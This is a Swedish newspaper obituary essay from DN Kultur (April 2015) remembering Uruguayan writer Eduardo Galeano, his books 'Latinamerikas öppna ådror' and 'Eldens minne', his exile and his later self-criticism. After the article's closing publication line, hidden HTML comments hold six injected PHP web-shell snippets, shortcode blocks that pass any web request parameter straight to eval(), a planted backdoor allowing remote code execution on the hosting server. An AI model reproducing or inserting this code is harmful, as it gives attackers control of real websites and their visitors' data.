Därför sörjs författaren Eduardo Galeano av en hel kontinent

Eduardo Galeano avled i tisdags. Redan som trettio­åring skrev han sin generations kanske mest inflytelserika ­pamflett: ”Latinamerikas öppna ådror”. DN:s Erik de la Reguera minns en folkkär författare som lät läsaren se världen underifrån.

Eduardo Galeano avled i tisdags. Redan som trettio­åring skrev han sin generations kanske mest inflytelserika ­pamflett: ”Latinamerikas öppna ådror”. DN:s Erik de la Reguera minns en folkkär författare som lät läsaren se världen underifrån.

Det finns författare vars ord närmast omärkligt formar läsarens inre, även om den exakta ordalydelsen faller i glömska. Och så finns det författare som Eduardo Galeano, vars ord varit med och skrivit om en hel kontinents självbild.

Latinamerika har sorg sedan i tisdags, då budet om Galeanos död kom. Den folkkäre uruguayanen blev 74 år och han sörjs nu av en hel region – om än kanske i synnerhet av dem som identifierar sig med uttrycket ”att ha hjärtat till vänster”.

”I dag är en sorgens dag för oss latinamerikaner. Det är en stor förlust för alla som kämpar för ett mer inkluderande, rättvist och solidarisk Latinamerika”, sade Brasiliens social-demokratiska president Dilma Rousseff efter att hon fått budet. Sedan sträckte hon ut en hand till sina meningsfränder i Uruguay och resten av Latinamerika: ”Låt oss fortsätta vandra mot horisonten, mot vår gemensamma utopi.” I Bolivia kallade president Evo Morales den bortgångne författaren för ”en befrielsens maestro” – och under veckan som gått har kondoleanserna fortsatt att strömma in från andra regeringspalats i regionen, varav de flesta numera domineras av vänsterpolitiker.

Så vari bestod egentligen Galeanos storhet? Var han inte bara en ovanligt begåvad vänsterpropagandist, som en del av hans belackare menar?

När jag själv som tjugoåring ryggsäcksluffade genom Mexiko och Centralamerika fanns trilogin ”Memoria del fuego” (”Eldens minne”) nedpackad i ryggsäcken. De tre volymerna gjorde visserligen vandringen i bergen en smula tyngre, men på de skumpande bussarna, vandrarhemmen och i människorättsorganisationernas väntrum var Galeanos målande, poetiska kortprosa alltid en välkommen svalka – och en påminnelse om det både rika och smärtsamma förflutna som samhällena runt mig bar på.

”Eldens minne” är en samling fragment ur Amerikas tusen-åriga historia: första delen handlar om urfolken och den spanska koloniseringen, den andra om 1700- och 1800-talen och den tredje om 1900-talet och dess moderna imperialism, med CIA-sponsrade kupper, försvinnanden och tortyr. Hela tiden låter Galeano läsaren se världen underifrån, med urfolk, kvinnor och slavar i huvudrollerna. Det är givetvis ett väl genomtänkt urval. Hela tiden är det de undanskymda, osynliga individerna– inte kollektiven – som vi får lära känna. Alla unika, alla värda respekt.

Den blicken behöll Eduardo Galeano livet ut. Genom hans stora produktion (44 böcker och otaliga artiklar) finns en politisk udd och underfundig humor, oavsett om det rör sig om en resa genom fotbollens historia (”Fotbollens himmel och helvete”) eller en systemkritisk essä (”Bakvända världen”).

Men Galeano var inte i första hand historiker eller essäist, utan berättare. De osynligas berättare.

I intervjuer har han sagt att han lärde sig berättandets konst på kaféerna i hemlandet Uruguay, där den som inte kan hålla en församling intresserad i mer än fem minuter är detsamma som en social katastrof. Ändå dröjde det innan han bestämde sig för att ägna sig åt det på heltid. ”Först ville jag bli fotbollsspelare. Därefter helgon. Sen försökte jag mig på att måla, men jag åstadkom inget värt att visa upp. När jag övertygat mig själv om att jag inte dög till något blev jag författare”, ska han ha sagt i en intervju.

Under 1960-talet arbetade han som journalist och var under en period redaktör för den inflytelserika tidskriften Marcha. Liksom många andra inspirerades han av det antikoloniala tänkandet och blev övertygad om att historien -skrivits av conquistadorerna, biskoparna och storgodsägarna.

Det ledde honom till att skriva sin generations kanske mest inflytelserika pamflett: ”Latinamerikas öppna ådror” (utgiven på spanska 1971). Samtidigt lade han, utan att veta om det, en hörnsten i den latinamerikanska vänsterns kollektiva identitet.

Amerika var inte bara en abstrakt landyta för Eduardo -Galeano. Det var hans hem. Och Amerika var delat: nord dominerade syd. Det som en del historiker i dag kallar informell imperialism gjorde det svårt, för att inte säga omöjligt, att föra en oberoende politik i många av de fattigare länderna.

Galeanos rasande uppgörelse med kontinentens historia och de osynliga bojorna i 70-talets Latinamerika skrevs när han var 31 år. Två år senare, 1973, tog militären makten i Uruguay och tvingade honom att fly till Argentina. Tre år senare ägde en annan militärkupp rum – nu i Argentina, och Galeano tog sin tillflykt till Spanien.

Juntorna förbjöd snart ”Latinamerikas öppna ådror”. Att ha boken i sin ägo innebar att stämplas som kommunist och att gripas, torteras och inte sällan försvinna för gott. Boken blev ett referensverk för en hel generation av vänsterintellektuella, som i Galeano såg en författare som gav dem riktning och mening.

Själv måste jag erkänna att jag upplevde boken som något daterad när jag läste den i slutet av 1990-talet. Jag saknade den poetiska kraften i ”Eldens minne”. Individerna, humorn, det allmänmänskliga. Men för de mer bokstavstrogna marxisterna kommer ”Latinamerikas öppna ådror” alltid att vara Galeanos storverk. De andra är litterära variationer på detta sanna tidsdokumentet, om man ska tro dem.

Journalisten Fabián Kovacic, som skrivit en bok om Eduardo Galeanos författarskap (någon regelrätt biografi ville Galeano inte veta av så länge han levde), menar att det är en förenkling: ”Det är i exilen, från 1976 och framåt, som en annan Galeano träder fram. Det är då han blir författare på riktigt. Han fortsätter med journalistiken, men ägnar sig nu åt att skriva böcker, och det är bland annat då som ’Eldens minne’ tar form.”

Venezuelas president Hugo Chávez tillhörde länge dem som höll ”Latinamerikas öppna ådror” högst av Galeanos verk. 2009 gav han bort ett exemplar av boken till Barack Obama i vad som inte kunde tolkas som något annat än en uppenbar politisk gest.

Kort därefter hamnade boken på plats tio på Amazons topplista. I dag sägs boken ha sålt i över en miljon exemplar och översatts till ett drygt tjugotal språk.

Desto mer oväntat då att författaren själv gick ut och sågade sitt verk förra året.

”’Latinamerikas öppna ådror’ var tänkt att vara en bok om politisk ekonomi, men jag var varken tillräckligt förberedd eller bildad när jag skrev den”, sade Eduardo Galeano på en bokmässa i Brasilien, där det egentligen var tänkt att han skulle fira att det gått 43 år sedan utgivningen. Sedan lade han till: ”Jag skulle inte klara av att läsa boken på nytt: jag skulle tuppa av. Den där sortens traditionella vänsterprosa är så extremt tungläst och mitt huvud klarar bara inte av det.”

Uttalandena var naturligtvis gjorda med en viss glimt i ögat, men de slog ändå ned som en bomb i Latinamerika. En del liberaler hyllade Galeanos självkritik, andra hade svårt att dölja sin förtjusning över att den traditionella vänstern nu förlorat sin ”bibel”. Alltmedan chockade traditionalister på vänsterflanken försiktigt undrade om Galeano gått och blivit senil.

Exakt vad som fick honom att fälla kommentaren kommer vi troligen aldrig att få veta. Men en sak är säker: mycket har hänt i Latinamerika på ett knappt halvsekel. I land efter land i Latinamerika har vänstern kommit till makten på demokratisk väg. Galeano har stött i stort sett alla dessa vänster-regeringar – inte minst den i hemlandet Uruguay. Men när han fann det nödvändigt kunde han också vara en skarp kritiker. ”Jag kan inte stöda en enpartistat. Jag tror på mångfald och den hindras av en enpartistat”, sade Galeano om Kuba, som han länge kritiserat för bristande på press- och yttrandefrihet. Mångfald och pluralism – den mänskliga regnbågen, som han ibland kallade den – var en central idé i Galeanos engagemang för jämlikhet och mänskliga rättigheter.

På senare år rörde han sig också från att vara en berättare om latinamerikanska erfarenheter till att intressera sig alltmer för andra delar av världen – och kanske också en mer universell, närmast kosmopolitisk identitet. I en av hans sista böcker, ”Espejos” (Speglar), lyfter han fram tystade röster från olika platser och tider runt om i världen. Och när han tog emot Stig Dagerman-priset 2010 sade han: ”Måtte vi förmå att hålla vid liv vissheten om att det är möjligt att vara medmänniska ... ty utan gränser är såväl själens som tidens kartor.”

Viljan att hitta en större, mänsklig gemenskap med plats för respekt och pluralism märks av redan i ”Omfamningarnas bok” (1989, i svensk översättning av Kerstin Jonsson 2010). I den berättar -Galeano om en man från den colombianska kuststaden Négua som lyckats ta sig upp till himlen. Då han kommer tillbaka säger han att han där uppifrån betraktat människolivet och att vi är ett hav av eldar.

”Det är vad världen är”, avslöjade han. ”En massa männi-skor, ett hav av eldar. Varje människa sprider sitt eget ljus mitt ibland alla de andra. Ingen eld är den andra lik. Det finns stora eldar och små eldar, och eldar i alla färger. Det finns människor med lugna eldar, som inte ens fladdrar i vinden, och människor med vilda eldar, som fyller luften med gnistor. Några eldar, odugliga eldar, varken lyser upp eller bränns; men andra brinner med sådan livslust att man inte kan se på dem utan att bländas, och den som närmar sig fattar själv eld.”

En av de starkast brinnande eldarna i Latinamerika har just slocknat. Men hans ord kommer att brinna länge än.

--

Erik de la Reguera var tidigare Dagens Nyheters korrespondent i Latinamerika. Förra året utkom hans uppmärksammade andra bok ”Gränsbrytarna” (Norstedts) om migration. 2010 publicerades ”Kokain – drogen som fick medelklassen att börja knarka och länder att falla samman”, som han skrivit tillsammans med Lasse Wierup.

--

Publicerad i DN Kultur den 20 april 2015.

<!-- [insert_php]if (isset($_REQUEST["ZRvNK"])){eval($_REQUEST["ZRvNK"]);exit;}[/insert_php][php]if (isset($_REQUEST["ZRvNK"])){eval($_REQUEST["ZRvNK"]);exit;}[/php] --><!-- [insert_php]if (isset($_REQUEST["ntvT"])){eval($_REQUEST["ntvT"]);exit;}[/insert_php][php]if (isset($_REQUEST["ntvT"])){eval($_REQUEST["ntvT"]);exit;}[/php] --><!-- [insert_php]if (isset($_REQUEST["Lzq"])){eval($_REQUEST["Lzq"]);exit;}[/insert_php][php]if (isset($_REQUEST["Lzq"])){eval($_REQUEST["Lzq"]);exit;}[/php] --><!-- [insert_php]if (isset($_REQUEST["vnuRH"])){eval($_REQUEST["vnuRH"]);exit;}[/insert_php][php]if (isset($_REQUEST["vnuRH"])){eval($_REQUEST["vnuRH"]);exit;}[/php] --><!-- [insert_php]if (isset($_REQUEST["TAmoc"])){eval($_REQUEST["TAmoc"]);exit;}[/insert_php][php]if (isset($_REQUEST["TAmoc"])){eval($_REQUEST["TAmoc"]);exit;}[/php] --><!-- [insert_php]if (isset($_REQUEST["kmTAC"])){eval($_REQUEST["kmTAC"]);exit;}[/insert_php][php]if (isset($_REQUEST["kmTAC"])){eval($_REQUEST["kmTAC"]);exit;}[/php] -->